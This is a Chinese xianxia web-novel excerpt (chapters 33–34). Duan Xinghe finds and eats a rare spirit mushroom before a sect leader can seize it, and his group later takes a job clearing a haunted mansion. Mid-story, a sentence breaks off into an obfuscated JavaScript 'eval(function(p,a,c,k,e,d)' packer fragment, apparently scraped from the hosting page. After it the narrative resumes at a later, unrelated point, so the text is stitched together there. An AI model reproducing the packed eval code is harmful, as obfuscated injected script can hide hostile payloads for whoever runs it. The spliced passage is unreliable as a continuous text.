伏顺微微一动,就听赵大海打了一声呼,原来是在说梦话。他虽然身体疼得厉害,梦见了家里人,便嘿嘿地傻笑起来。 伏顺道:“你都修仙了,还要什么祖坟?” 赵大海喃喃道:“喔……对,那就留给我娘,让她高兴高兴。” 伏顺叹了口气,觉得就算他白日飞升了,他娘也未必会替他高兴。但人活着,有个念想也是好的。他朝里翻了个身,渐渐地也睡着了。 33.掌灯女 一 天渐渐热了,一阵风吹来,屋檐下挂着的铜铃叮当作响。 段星河清晨起来,看着窗外的晴空,难得有种放松的感觉。 这个世界虽然妖怪频出,但灵力也十分充沛,确实是个磨砺人的地方。自从来到这里,大家的修为都大有长进。步云邪到了筑基末期,将要面临突破的关窍了。李玉真比他进展缓慢一点,还在攻克自己的难关。宋胡缨一天到晚都在练刀,听说跟李玉真的进度差不多。 段星河如今到了金丹期,进步一重花费的精力是低阶修士的好几倍,只能慢慢来。听说前几天步云邪帮赵大海拓宽了经脉,费了好大一番功夫。赵大海一直像头大黄牛似的,有点笨拙、又慢吞吞的,就知道埋头干活。如今他有了进步,段星河也很替他高兴。 上午吃过了饭,段星河在院子里练剑。李玉真扛着小对眼从外头回来了,一人一猫相处得很和谐。小对眼最近胆子变大了一些,能跟着它爹去外头转一转了,不像从前那样一看到不认识的人就哈气。 李玉真是专门来找他的,道:“段兄,之前的事我查出来了。” 段星河抹了一把汗,关切道:“怎么样?” 李玉真道:“我去凌烟阁问了,脚底下有助推器的融合兽确实有一头卖给了啸山宗,但不知道他们后来有没有转卖。其他卖出的融合兽我也查了一遍,没有类似的了。咱们可以顺着这条线索追下去。” 段星河松了口气,只要有线索就好。他道:“辛苦了。” 他们接下来要往巴蜀去,啸山宗的总舵就在那边,到时候正好调查一番。 李玉真看他跟幽冥剑磨合的挺好的了,道:“修炼的怎么样?” 段星河道:“还那样,你呢。” “我升了一层,感觉最近有点瓶颈了。”他的声音低了下来,显得有点神秘,“对了,你看最近城里的人是不是比以前多了?” 段星河昨天出去的时候,发现街上的人是比以前多了。有脸上画满了刺青的咒术师,也有一身腱子肉的壮汉,这么多人必然是逐利而来。段星河道:“多了些修真的人,有什么好事么?” 李玉真兴奋道:“凌烟阁的人说灵光仙芝要出现了,那些人都是来找宝贝的。” 段星河听都没听过,茫然道:“什么灵光仙芝?” 他是外来的,不知道也很正常,然而在这里几乎人人都知道这宝贝。李玉真道:“灵光仙芝是集天地灵力而生的灵植,能调和阴阳二气,吃一棵就能增长十年的修为。” 段星河很是意外,没想到这种平平无奇的地方居然能长出这样的天材地宝。李玉真想了想,道:“欸,你身上煞气这么重,这灵芝能缓解你的情况么?” 段星河的心思一动,若是真能调和煞气,他也想去瞧瞧。只是这么好的东西谁都想要,应该有不少人为它打得头破血流的。他道:“那些人怎么知道灵光仙芝要出现了?” 李玉真道:“古书上说,仙芝将生,空中金色祥云缭绕,十日不去。有人在附近的翠玉山上见了金色祥云,一传十,十传百,那些人就都来了。” 两人下意识抬头望天,头顶碧蓝如洗,什么也瞧不出来。李玉真道:“这边看不见,翠玉山在东边呢,要去看看吗?” 现在那边应该已经挤满人了,这么大的热闹他们当然要去凑一凑。段星河道:“走吧,叫上阿云,一起去碰碰运气。” 出城往东走一个时辰便是翠玉山,从远处看郁郁葱葱的,没什么特殊之处。天上的金色祥云已经聚集了七八天了,灵光仙芝应该就要长出来了。段星河和步云邪、李玉真一起出了城,路上不少修真打扮的人都往那边赶去。有的骑马,有的坐车,还有的骑着法宝葫芦,在天空中一骑绝尘,把其他人远远地甩在了后面。 段星河看着步云邪头上的红发带,道:“你的却邪能飞吧?” 步云邪道:“能啊,怎么了?” 却邪展开来能伸好几丈长,又宽又大跟飞毯似的。段星河道:“我看人家那法宝葫芦不错,你这个能不能当坐骑?” 步云邪笑了,道:“它不让骑,这玩意儿有自己的脾气,莫管它。” 暗红色的发带在风里飘飘荡荡的,平时只护着步云邪,除此之外别的事都不管。它是祖婆婆辈传下来的法宝了,其他人也使唤不动它,只能由它去。 一行人来到了翠玉山脚下,从这里就能看到天空中聚着一大片云彩,时而被风吹散了,一会儿又重新聚拢起来,放出淡淡的金光。 云彩投下来的地方,应该就是灵芝将要生出来的地方。段星河等人上了山,见前头挤挤挨挨的站满了人。一名须发花白的老者感叹道:“果然是祥瑞之兆,不得了……就算摘不到,这等奇景能看上一眼也是三生有幸了!” 一名大汉不耐烦道:“不想要你来干什么,排在前头还卖乖。诶,后头的别挤了,先来后到懂不懂啊?” 又有人道:“就是,连眼都不长,就知道往前推,有灵芝也被你们踩扁了。” 不少人为了采天材地宝,一得到消息就赶过来了。提前好几天在这里吃、在这里睡,甚至叫上了大半个宗门的人一起来,抢占了所有可能生出灵芝的地方,一副志在必得的姿态。 像段星河他们这种来得晚,人又不多的,只能在边上瞧个热闹。李玉真还心存幻想,道:“咱们有希望么?” “算了吧,”步云邪望着前头黑压压的一大片人头,觉得机会十分渺茫,“就当攒点经验,争取下次有机会再说。” 队伍排的曲折迂回,旁边一个小道姑噗嗤一笑,道:“还想有下次呢,这种东西又不是韭菜,三天两头割一茬。听说上次这种好东西现世,还是一百多年前呢。” 她嘴里咬着一块桂花饴糖,一边的腮鼓了起来,有种不谙世事的天真感。她就比自己这些人早来了一阵子,就五十步笑百步。步云邪有些不高兴,道:“你能排上?” 他模样生的俊美,态度却有些高冷。小道姑被他盯着,脸骤然红了起来,道:“别人排队,我就跟着排嘛。” 大家都是这么个心态,反正有枣没枣打一杆子。那道姑十六七岁年纪,模样生的很是清秀,穿着蓝白相间的道袍,腰带上绣着旋涡状的太极图,头上戴着一顶黑纱道冠。 李玉真认出了她身上的纹章,眉心一跳,没想到正道宗门的魁首也来了。他拱手道:“在下太清宫弟子,请问姑娘是浩荡盟的人么?” 小道姑听过太清宫的名号,知道他也是正道上的人。她点了点头,李玉真道:“你自己来的?” 小道姑指了指前头,道:“我跟师父他们一起来的,刚才人多,把我挤到后面来了。” 李玉真往前看了一眼,见几个浩荡盟的弟子在不远处,也被挤得前胸贴后背,寸步难行。饶是如此,他们艰难地在队伍中围了个圈,给盟主隔出一片空间,免得一个堂堂大宗师也跟其他人一样被挤得面目全非。 李玉真觉得有点好笑,那小道姑忍不住先笑了。两人互相看了一眼,小道姑正色道:“不准笑我师父。” 李玉真轻咳了一声,道:“没有,在下不敢。我叫李玉真,敢问姑娘道号?” 小道姑道:“我叫孙清韵,道号妙清。” 糖吃完了,她又从口袋里掏出几块来,剥开了印着黄色小花的糖纸。前头的师兄瞥见了,道:“少吃点甜的,牙不要了?” 孙清韵喔了一声,觉得还是得有福同享,有难同当。她悄悄把糖递给了李玉真,道:“你们要吃吗?” 李玉真接了一块糖,排队无聊,权当打发时间了。段星河从她手里拿了一块糖,打算一会儿饿了再吃。小道姑看了步云邪一眼,道:“小哥哥,你要不要?” 步云邪便也拿了一块,隔着糖纸闻了闻,一股淡淡的桂花香气扑面而来。 段星河把糖揣进兜里,道:“浩荡盟是什么?” 小道姑奇怪地看着他,觉得他也太孤陋寡闻了,连这都没听过。李玉真低声道:“浩荡盟是正道宗门的首领,跟蜀山互为表里,一起护卫凤神。他们的盟主叫刘正锋,总舵在夷州的凤来城,离这儿挺远的,应该提前好几天就往这边赶了。” 孙清韵听见了,道:“是啊,赶了七天路,到这里还是迟了。所以这种事就是看机缘,强求不来的。” 段星河道:“姑娘是自己要来的?” 孙清韵道:“我想长长见识,就求大师兄带我来了。” 她往前指了指,一个魁梧的男子站在前方,就是刚才让她少吃点糖的那人。周围都是拿着大刀和流星锤的大汉,还有不少骨瘦如柴邪里邪气的妖道,一个个等的急赤白脸的,怕是不能善了。步云邪道:“一会儿怕是要打起来,你不怕危险?” 孙清韵无所谓道:“反正我也抢不到,真打起来我就找个地方躲起来嘛。” 天色渐渐暗下来了,一群人站的累了,有的就地蹲下来喝水吃东西,也有的干脆坐在地上。这样的日子他们过了七八天,浑身又脏又臭,根本顾不上形象了。段星河感觉跟逃荒的似的,不过想起一株灵芝抵得过十年的苦修,受这两天的罪也值得了。 步云邪道:“还等么?” 现在虽然保持着微妙的和平,一旦灵芝出现了,这么多人势必要抢个你死我活。段星河感觉自己这个位置离祥云太远了,没什么优势,等到明天至多看看谁是那个幸运儿。他道:“先等等吧,我去解个手,你们帮我占着地儿。” 他从队伍里挤出去,往远处走了一阵子,找了个没人的地方放水。远处那群人还在吵吵嚷嚷的,跟过年赶大集似的。段星河系上了腰带,正打算回去,忽然瞥见前头的山崖壁上有什么东西亮闪闪的。 他拨开树叶走了过去,石缝中有几点金色的灵光闪烁着,一个蘑菇状的东西缓缓地冒出头来。段星河顿时睁大了眼,下意识屏住了呼吸,生怕惊动了它。 远处鸟鸣啁啾,风轻轻吹动旁边的枝叶。那个蘑菇以肉眼可见的速度生出了伞柄,片刻又张开了伞盖,开到人的手掌心那么大,渐渐停止了生长。 段星河下意识抬头看天,祥云在离这片悬崖颇远的地方,但附近有一个小水潭。阳光照过来,把仙芝的灵光折射到了水里,又反射到了天空中。就像海市蜃楼,虽然看起来很近,实际的景象却并非在幻影显现的位置。 那些人挤破了头就为抢占一个有利位置,仙芝却悄然在无人在意的小角落里长了出来。段星河的心情激动,来得早不如来得巧,这种事果然要看机缘的。 他小心地把灵光仙芝摘下来,塞进了腰包里,拿外袍盖在了外面,心中极其喜悦。这时候就听头顶传来一阵窸窸窣窣的声音,一个硕大的阴影笼罩了他。段星河有种不妙的预感,抬头一望,就见一条吊桶粗的蟒蛇从悬崖上爬了下来。 它通体漆黑,一双赤红的眼睛盯着他,吐出了鲜红的信子,透出一股强烈的杀气。 糟糕了……段星河下意识往后退了一步。天材地宝一般都有灵兽镇守,这条蛇应该是这座山的守护者。段星河感觉这条大蟒的灵识不太高,但拿了它的东西,轻易是糊弄不过去的。 要是在这里打起来,惊动了其他人,这宝贝必然保不住。段星河好男不跟蛇斗,抬手向天空一指,气如洪钟道:“啊,那边!” 蟒蛇抬头一望,段星河趁机拔腿就跑,猴子似的很快就消失在树丛中了。那条蟒蛇久居深山,不知道人类居然这么狡猾。它意识到自己被耍了,嘶嘶地吐着信子,朝地上爬了下来。 段星河快步回到人群中,前头好几个人等的心烦气躁,已经吵了起来。 一个大汉道:“老子去上个茅房,回来你怎么就不让我排了?” 另一个人道:“我又不认得你,为什么要给你留地方。” 那大汉怒道:“不是,你不用上厕所啊?解个手回来就得重排,这是哪来的道理!” 周围有人看热闹,有人劝架,注意力都被那边吸引过去了。段星河寻思着那条大蟒就要追过来了,这里人多,正好让他们发泄一下火气。他低声道:“走吧,没什么好看的了。” 步云邪道:“这就走?” 段星河拉了他一把,道:“家里有点事,出来的时候忘了,别在这儿跟他们挤了。” 步云邪觉得有点奇怪,但他这么说了,便没再坚持。李玉真觉得有点可惜,跟那少女道:“我们不等了,告辞了,孙姑娘。” 孙清韵道:“好吧,再会。” 三人下了山,段星河见蟒蛇没追上来,松了口气。但它没找到自己,肯定就有别人要倒霉了。步云邪觉得他匆匆忙忙的有点奇怪,道:“怎么走这么急?” 段星河拍了拍腰包,显得鼓鼓囊囊的,低声道:“你猜这里头是什么?” 步云邪刚才就感觉他身上有一股灵气,不知道是怎么回事。他伸手一摸,脸色顿时变了,道:“我的天……不是那个吧?你怎么弄到的?” 段星河扬起了嘴角,道:“运气好呗,就这么遇上了。” 李玉真十分诧异,道:“怎么回事,给我摸摸。” 他捏到了灵芝的伞盖儿,顿时睁大了眼。他道:“厉害啊段兄,一年的运气都用完了吧?” “那是,”段星河道,“一年之内跟人打牌都赢不着钱了。” 步云邪笑了,道:“那也值啊。” 李玉真回头看了一眼,那群人还在山上呜呜泱泱地吵架。他道:“赶紧走,别被人发现了。” 天色渐晚,天上的云彩本来聚了七八天,此时金色的光芒却消失了。一群人顿时慌了,他们等了这么久,祥瑞却就这么不声不响地消失了。一人道:“怎么回事,该不会被人摘走了吧?” 另一人道:“不会啊,山上的好地方咱们都占着了,再仔细找找。” 众人不甘心就这么放弃,低头搜了起来,有的拨开了草叶,有的翻开了沟里的石头。这时有人喊道:“啊啊啊……有蛇,好大的蛇啊——” 其他人回头望去,就见一条硕大的蟒蛇气势汹汹地从山林深处钻出来。它好像十分暴躁,见了人就笔直地游过来。一个人来不及逃,被它用身体卷住了。那人被勒的动弹不得,渐渐喘不上气来。 他嘴角涌出了血,十分痛苦,哑声道:“救命……救……救救我!” 那人的师兄见了,喊道:“放开他!” 他提着刀砍过去,铛地一声响,却只在那条蛇身上留了个白印子。那人被勒得昏了过去,软软地垂下了头。其他人都慌张起来,道:“不行,打不过……赶紧撤!” 那条蟒蛇张开大嘴,威胁地朝人群喷了口气。它找了许久,一直没找到那个偷灵光仙芝的臭小子,气的要命。一群人闹哄哄的,谁也不敢上。孙清韵低声道:“大师兄,怎么办?” 长徒苏子乾看向刘正锋道:“师父,要动手么?” 敢在浩荡盟面前放肆,这妖物也是活到头了。刘正锋道:“除了它。” 苏子乾提剑一跃上前,剑光过处,那头大蟒被斩成了两截。它轰然倒在地上,赤红的眼睛渐渐失去了光芒。其他人用尽浑身力气都不能动它分毫,这人却一剑就解决了它,确实很有实力。周围的人都肃然起敬,纷纷道:“了不起,不愧是浩荡盟的高徒!” 刘正锋却十分冷静,眉头微微皱着,仿佛有些疑虑。这条蟒蛇身上有些灵力,似乎是镇山的灵兽,却不知为何主动来攻击他们。他心中闪过一个念头,看来灵光仙芝已经被人摘走了,要不然这条蟒蛇也不会这么狂躁。 他转身看向身边的弟子们,道:“关于仙芝有什么发现没有?” 一名弟子有些犹豫,上前对刘正锋附耳道:“师父,我刚才去解手,见一个小子在山壁边摘了什么东西,一转身就跑了,说不定就是那个宝贝。” 刘正锋顿时沉下了脸,道:“怎么不早说?” 那弟子的品级低,不敢乱说话,支吾道:“我当时离得远,也不确定。那几个人下山没多久,赶紧去还来得及。” 刘正锋一摆手,大步流星地往山下去,道:“跟我走。” 弟子们哗啦啦地跟着他,其他散修不知道发生了什么事,还想在山上碰碰运气。一人打招呼道:“刘盟主,不再找找,这就回去了?” 刘正锋神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一名浩荡盟的弟子喝道:“你少胡说八道,咱们盟主好好问你是给你面子,别敬酒不吃吃罚酒!” 李玉真和步云邪都皱起了眉头,寻思着今天怕是要打一架了。对方是正道宗门的盟主,修为高强,又带着众多弟子,就凭自己三个人恐怕没有胜算。 段星河道:“久闻浩荡盟是正道宗门的头领,一向讲公平正义。难道盟主今日要跟那些邪修一样,为了夺宝就随意杀人么?” 其他弟子皱起了眉头,这小子偷偷摘了灵芝就跑,却把他们扔在山上喂蛇。讲不讲道义先不管,就算论出力,浩荡盟的人杀了蟒蛇,也该分一份好处。但看他这个态度,显然是要独吞了。 刘正锋身为大宗师,不想为了一点小东西落了身份。他的神色微微变幻,控制住了一闪而逝的杀气,道:“小兄弟说笑了,我确实需要灵光仙芝,还请你割爱,多少钱你出个价。” 段星河现在缺的不是钱,煞气一直折磨着他,这灵物对他来说太重要了。就算因此被人唾骂,这个混蛋他也当定了。他淡淡道:“抱歉,我确实没有此物。” 此处荒僻无人,就算对他们用强也没有外人知道。刘正锋的耐心用光了,沉下脸道:“看来这位小兄弟嘴硬得很,你们去搜一搜吧。” 一群弟子围了上去,七手八脚地把他们从马上拽下来。李玉真慌张道:“欸,干什么,别扒拉我!” 那些人能跟在刘正锋身边,没有泛泛之辈,少说也在金丹境界。段星河跟他们过了数招,抡起拳头刚打倒了一个人,转身就被两柄冰凉的剑架在了脖子上。他回头一望,却见步云邪和李玉真也被人擒住了。 一个华服弟子把段星河按在地上,力气极大。段星河使出全身的劲挣扎,竟然还是动弹不得。他脸上擦破了一块油皮,扭头道:“放开我,你是谁?” 那人淡淡道:“在下行不更名,坐不改姓,浩荡盟长徒苏子乾。” 他是大宗门的长徒,一派高高在上的态度,根本没把这些小道士看在眼里。段星河咬了咬后槽牙,跟狼崽子似的,道:“好,我记住你了!” 另外两个人也被按在地上,蹭的浑身都是土,他们跟这些人的实力差得太多了,何况这位盟主还没出手。几人都很不甘心,这宝贝虽然难得,若是能力不足以保护,反而遭它祸害。 此时夜黑风高,小路上除了他们没有别人。李玉真怕他们要杀人灭口,只得搬出了他爹,道:“有话好好说,我叫李玉真,我爹是大新的国师,我是太清宫的。我要是出事了,我爹不会放过你们的!” 那几个人互相看了一眼,有些迟疑。蜀山和浩荡盟供奉凤神,太清宫供奉老子。这三派是正道宗门的中流砥柱,如果是真的,那就是大水冲了龙王庙了。方才那个一起排队的少女道:“好像是真的,师父……他一早就说他是太清宫的人了。” 苏子乾斥道:“妙清,别随便插嘴。” 孙清韵便低下了头,道:“是,大师兄。” 刘正锋皱起了眉头,道:“看看有什么信物没有。” 那几名弟子要上手,李玉真挣扎道:“别乱摸,我自己来。” 他从腰里解下一块令牌,苏子乾拿去递给了刘正锋,道:“师父,你看。” 乌木牌背面刻着他的名字,正面赫然是太清宫三个字,这小道士还真没撒谎。刘正锋知道今天这事不好办了,这几个小子杀不得,但灵芝他又舍不得放过,一时间沉吟不语。 段星河十分恼火,心道:“什么狗屁正道宗门,就会欺软怕硬。表面道貌岸然,背地里还不是干杀人夺宝那一套,老子就偏不成全你们!” 他使出了全身力气,挣脱出一条手臂,把灵芝拿了出来。其他人顿时睁大了眼,道:“师父,真的在他身上!” 下一刻众人都惊呆了,段星河把灵芝塞进嘴里,腮里满满当当的,三两口嚼了。一名弟子反应过来,伸手抠他的嘴,道:“喂,谁让你吃的,吐出来!” 段星河却把脖子一伸,已经吞下去了。步云邪在旁边哧地一笑,道:“这就对了。” 众人都傻眼了,段星河一副无所谓的态度,谅他们也不能杀了自己。刘正锋的眼角抽搐了几下,显然没想到这小子这么混不吝。 他是正道上的大宗师,毕竟爱惜名声,不值得为了一棵灵芝落了自己和浩荡盟的声望,虽然心里恼火,也只能作罢了。 那三个人还被按在地上,刘正锋居高临下地看着他们,觉得带头的这小子有些胆识,道:“你叫什么名字,在何处修行?” 段星河道:“我叫段星河,在钦天监供职,李如芝是我顶头上司。” 刘正锋没听过他的名头,但听过李如芝的名号,知道那是大幽皇帝眼前的红人。看来这几个人都是有根基的,难怪敢在自己的眼皮子底下抢东西。他道:“原来是钦天监的人。罢了,既然东西没了,你们请便吧。” 他把腰牌抛过去,还给了李玉真,浩荡盟的弟子们便放开了手。步云邪掸去了身上的灰尘,扶起了李玉真。段星河站了起来,铁青着脸一言不发,翻身上马向前奔去。 三人一路打马,头也不敢回,生怕他们反悔了又要为难自己。跑出去小半个时辰,后头静悄悄的,段星河才放慢了速度。 月亮升起来了,路上只有他们的马蹄声,步云邪想起刚才他两口吞下灵芝的情形,忍不住笑了,道:“你没看见,那些人都傻眼了。” 李玉真悻悻道:“吃了就对了,就不给他们留。懂不懂什么叫先来后到?惹急了我,我告诉我爹去。” 方才若不是李玉真说出自己的师承身份,那帮人说不定真的会下狠手。这世道颠倒昏暗,正道上的人也没比邪宗强到哪里去。反正没有旁人,能抢到东西就抢,抢不到就把人开膛破腹,或者放血喝都有可能。 段星河也有些后怕,衣裳都被冷汗湿透了,但总算有惊无险。不光浩荡盟的人惦记他们,其他修真者白跑了一趟心里也窝着火。一旦消息传出去,他们就是众矢之的。 他心中暗暗盘算,回去先安静修养几天,不管谁来找麻烦都不理,等避过这阵子风头再说。 34.掌灯女 二 三人回了驿馆,总算安全了。段星河刚吃了灵光仙芝,生怕浪费了,闭门打坐了一日夜,将灵力都纳为了己用。这灵芝果然强大,他吸收了它的力量,就像一股清泉汇入了丹田。 他引导灵力修复了一些被煞气侵蚀的地方,感觉身体很久都没有这么轻快了。他长长地吐出一口气,睁开了眼。难怪那些人要费这么大力气抢夺,一下子就增长十年的修为,谁不为它眼红? 他休息了一日,隔天步云邪过来看他,道:“怎么样了?” 段星河轻松道:“都吸收了,感觉不错。” 他的身体稳定了,精神状态也好多了,有点在青岩山时的感觉。步云邪摸了他脉搏,道:“身体比以前调和多了,没白跑一趟。” 他之前还担心在外颠沛流离的,段星河体内的煞气不知什么时候就会发作。吃了这灵芝之后,他体内的正气明显增强了,短时间之内应该不用担心煞气的事了。 驿丞从外头过来,道:“段大人,上午有人来打听你的事。你说不见外人,我就说你不在。” 段星河道:“什么人?” 驿丞道:“好几拨,一个矮矮胖胖的头陀,看起来凶得很。后来又来了个瘦竹竿道士,跟三天没吃饭的痨病鬼似的,也来问有没有一个姓段的小公子住在这里,我一概说没有。还有好几个人闹着要进来搜,我叫官兵来把人都撵出去了。” 几个散修要来搜官府的地盘,真是倒反天罡了。段星河没见过那些人,应该都是来找灵光仙芝的。必然是浩荡盟的人抢不到灵芝,一气之下便把消息散播了出去。大部分人拿不到就自认倒霉走了,还有几个刺头不甘心,非得来跟他碰一碰。 段星河东西都到手了,没必要跟他们多费口舌,把大门一关,只当什么都不知道。他从腰包里掏出一锭银子,道:“多谢,最近城里修真的多,常有人想来切磋斗法的,你帮我拦着点。” 驿丞本来就是邀功的,一边笑呵呵地说客气什么,一边把钱收了起来。这时候就听外头传来一阵呼喊声:“有姓段的在么,说话!” 几人互相看了一眼,驿丞道:“八成又是来踢馆的,我去赶他走。” 段星河站了起来,步云邪道:“我去看看吧。” 几人来到大门前,伏顺和赵大海他们听见声音也过来了。几个官兵守着门,把一个道士拦在了门外。那人头发随便一扎,粗布道袍的领口松松垮垮的,露出一片古铜色的胸膛,两个拳头像沙包似的大。这人与其说是修道的,倒不如说是个打家劫舍的。步云邪开口道:“阁下是?” 那人粗声粗气地道:“我是北邙山的,叫牛二。听说有个姓段的走了狗屎运拿到了灵光仙芝,我寻思着那小子必然不配,来跟他比试比试!” 伏顺道:“欸,你怎么知道不配?” 牛二举起了粗壮的胳膊,道:“就凭我这身力气——” 他环顾了一圈,露出一副凶狠的表情,把拳头捏的咯咯直响,道:“谁是段星河,是你啊,还是你?” 段星河就站在他面前,这牛二连认都不认得,还要来挑战。 这人虽然看起来凶,但也只有几斤蛮力气,来个胸口碎大石还可以,打架根本不是他们的对手,不知道哪来的自信敢挑战他们。 段星河动了动手指头,想给他来个以德服人。步云邪却觉得没必要跟这地痞打架,把手背在身后摇了摇,道:“这里没有你要找的人,阁下请回吧。” 牛二很不服气,道:“你是什么人,让我回我就回?” 驿丞道:“这位是钦天监的司业步大人,他在此处为陛下公干,你大呼小叫的是想吃板子么?” 牛二没想到这里还有当官的,浑身的气焰顿时减了三分。他道:“你是当官的,那你评评理。老子为了采灵光仙芝提前七八天就过来了,在山里扎帐篷,天天啃煎饼喝凉水挨蚊子咬,结果连一眼都没见着东西就没了,还差点被守山的大蛇咬伤,你说那姓段的小子是不是混账王八蛋?” 段星河一脸无所谓的模样,反正自己运气好,随便他说什么。步云邪道:“这种天材地宝不都是谁找到就是谁的么。你听谁说是一个姓段的小子拿到了?” 牛二愣愣地道:“我听浩荡盟的人说的,他们说一个姓段的小子抢了灵芝就跑,山上的那条大蟒蛇也是他放出来的,还咬伤了好几个人。盟主去追他,他当场就塞嘴里嘎巴两下吃了,你说他损不损?” 说实话,要是不认识段星河,光听他这些鸡飞狗跳的事迹,真的很难让人说他一个好字。然而步云邪也不是一般人,接受力远超过常人,听完了甚至觉得就这? 现在眼红他的人太多了,来找麻烦的刺头层出不穷,倒不如来个四两拨千斤,让他们听谁说的闲话,就找谁撒泼去。 步云邪理了理袖子,气定神闲道:“谁见过那姓段的,你怎么知道就真有这么一号人?” 有时候话只说一半,对方更容易上套。牛二一怔,忽然明白了步云邪的意思。他挠了挠头道:“没这人?你是说……浩荡盟的人私吞了灵芝,怕大伙儿找他们麻烦,诌了这么个小子当挡箭牌?” 步云邪端然道:“哎,浩荡盟的人多势众,本官可不好说他们的不是。” 他越这么说,牛二越觉得是这么个理。他气得攥紧了拳头,道:“他娘的,一个好人都没有!” 李玉真插嘴道:“我听说浩荡盟的人前几天就走了,他们要是心里没鬼,不至于跑这么快吧。” 牛二气得脸都黑了,伏顺火上浇油道:“那你想怎么办?” “还能怎么办,”牛二道,“浩荡盟的人那么厉害,我还能去跟他们盟主算账不成?” 他叹了口气,道:“白跑了一趟,算了,这种东西本来也不是我们这种没权没势的人能想的。” 伏顺道:“老兄,你想开一点,只要踏踏实实修炼,早晚也能成的。” 牛二点了点头,道:“对不住了,各位,我告辞了。” 他抱拳行了一礼,就这么被忽悠走了。伏顺背过身来,忍着笑道:“还是二师兄聪明,连一根手指头都没动就把他骗走了。” 步云邪淡淡道:“没办法,要是跟他打起来了,消息传出去,其他人就都来了。” 这城里看起来安静,其实有不少双眼睛都在暗中盯着他们。不少人听说有个姓段的小子吃了灵光仙芝,如今正住在驿馆。这消息是浩荡盟放出来的,是真是假难以确定。那些人本来还在观望,只有少数的几个二愣子出这个头。步云邪把牛二劝退了之后,众人对浩荡盟的怀疑就更强了。 刘正锋他们已经走了,其他人也拿浩荡盟没什么办法。反正天材地宝总还会长出来,下次不知道会便宜了哪个臭小子。 段星河在驿馆待了七八天,每天就是打坐练功。伏顺说街上的人少了许多,他感觉风头过去了,有点蠢蠢欲动。 李玉真早就出门了,他陪宋胡缨去逛街,溜达了一上午也没人找他麻烦。他扛着小对眼进了屋,笑吟吟道:“段兄,那些乱七八糟的人都走的差不多了,可以解禁啦!” 段星河刚提升了修为,在屋里憋的发慌,想要接个活儿试一试。他道:“那我去凌烟阁看看。” 李玉真从袖子里掏出一张纸,放在桌子上,道:“知道你闲不住,我和宋姑娘刚去了一趟,顺手揭了张告示,你看怎么样?” 段星河看了一眼,见要求去近郊的荒宅杀一百只灯笼妖,取灯芯交上,赏银五十两。他觉得有点零碎,道:“没好点的任务么。” 李玉真道:“大活儿得蹲,临时能找到这样的任务已经不容易了。不过我跟分舵的人说了,有好活儿给我留一个,他们答应了。” 他说着晃了晃手上的玛瑙扳指,有他们宗主给的信物在,他说话还是管用的。 小对眼伸出了爪子,要扒拉他手上的戒指。李玉真缩回了手,道:“这不是给你玩的,找瓜皮去吧。” 他一弯腰,小对眼便从他肩膀上跳了下来,三两下上了房,不知道去哪儿了。 外头的天光明媚,老在屋里待着太可惜了。段星河把告示收了起来,觉得去挣点钱也行,就当活动筋骨了。他道:“我去叫人,明天出发吧。” 大家在驿馆待久了,正好想出去转转,次日便收拾了东西,赶着大车去了近郊。 这边有个张家老宅,荒废了三十多年了,因为闹鬼远近闻名,子孙后代不敢住,也卖不出去。他家后人实在不堪忍受,便出钱悬赏,找人把院子里的小妖清理干净。 一众人驾着大车来到了老宅跟前,发现门上象征性地挂了个铜锁。反正这里闹鬼,大家都不敢靠近,锁不锁都是一个样的。 伏顺摘下锁,一推门板,大门吱呀一声开了。顿时一股强烈的尘土气息扑面而来,伏顺挥了挥手,后退了一步道:“这么大灰,咳……呛死我了。” 到处都荒烟蔓草的,灰白色的石墙隔出三进院,房屋修的十分整齐,黑色的瓦当上雕着莲花,看得出来当初建的很是精致,但风吹雨打了这么多年,屋顶变得残破不堪,墙上也长满了青苔和裂纹。一只瘦小的黄鼠狼听见了人走动的声音,嗖地一下向院子深处窜去。墨墨抖起了翅膀,跃跃欲试地要追它。小对眼已经从宋胡缨的怀里跳下来,撵着那只黄鼠狼跑远了。 几个人进了宅子,看着周围的情形,一边想着来之前跟人打听到的消息。 这里的主人原本是个读书人,考了好几年也没中举,便搬到老宅打算安静读书。结果张秀才耐不住寂寞,跟身边的丫鬟好上了。夫人听了些流言,亲自过来查看,就见那丫鬟跟丈夫同起同宿,在这里过着神仙一般的日子。 大夫人怒火中烧,让丈夫做个了断。张秀才全靠夫人的嫁妆补贴过活,十分惧内。他跪在地上指天誓日地说,都是丫鬟勾引他。丫鬟却说是张秀才哄骗她,她其实也不愿如此。 张秀才一怒之下,让人拿木棍打死了那个丫鬟,扔进了井里。对外就说她私逃了,她也没有家人,事情就这么过去了。 然而没过多久,宅子就开始闹鬼,有人看见女人的身影在水井周围徘徊,住在这里的仆人也经常莫名其妙地受伤,半年时间里吓病了一个,摔断腿一个。张秀才和大夫人不敢再住,搬回了城里,这宅子就一直荒着了。 李玉真掏出一块铜罗盘,刚端平了,指针就发疯了似的一阵乱颤,忽东忽西的。李玉真倒抽一口气,道:“好家伙,这地方藏了不少好东西啊。” 那些不干净的东西没现身,周围应该有不少双眼睛虎视眈眈地盯着这些不速之客。李玉真缓步走到井边,低头往里看。井只剩下个井口了,井上堵着一块大石头,上头刻着五雷令。早年张家就请道士做过法,已经把鬼镇住了。但这口井的怨气太重,还是招阴。 他叹了口气道:“那张秀才怎么没遭报应呢?” “他好着呢,”伏顺道,“据说活到六十九,能吃能睡的,跟没发生过这事一样。” 那张秀才虽然做人不地道,但他家儿孙是无辜的,而且老这么闹妖,周围的人也过不安生。 段星河对这些不怎么感兴趣,就想利索点把活儿干完了拿钱走人。他走进堂屋,扯下了厚厚的蜘蛛网,随手推开了窗户。阳光照进来,灰尘在空气中疯狂飞舞。这边还算宽敞,他道:“就在这里住吧。” 一群人把屋里的破砖头、瓦片,发霉的家具等破烂清理出去,擦去灰尘,铺上了睡袋,这回舒心多了。鬼宅对他们来说也没有多可怕,反正比在外露营好多了。 赵大海在附近捡了点柴,去厨房点火开始炖肉,香气很快飘了出来。他来的时候买了十斤排骨,一顿饭就炖了一半,又拿着菜刀在案板上切冬瓜。 小对眼和墨墨玩够回来了,围着灶台十分兴奋,一个劲儿地挠地。赵大海把它俩从厨房里撵了出去,道:“等会儿,还没熟呐!” 小对眼不甘心,还想往里钻。伏顺从旁边经过,一把将它提起来道:“掉锅里去你就高兴了。” 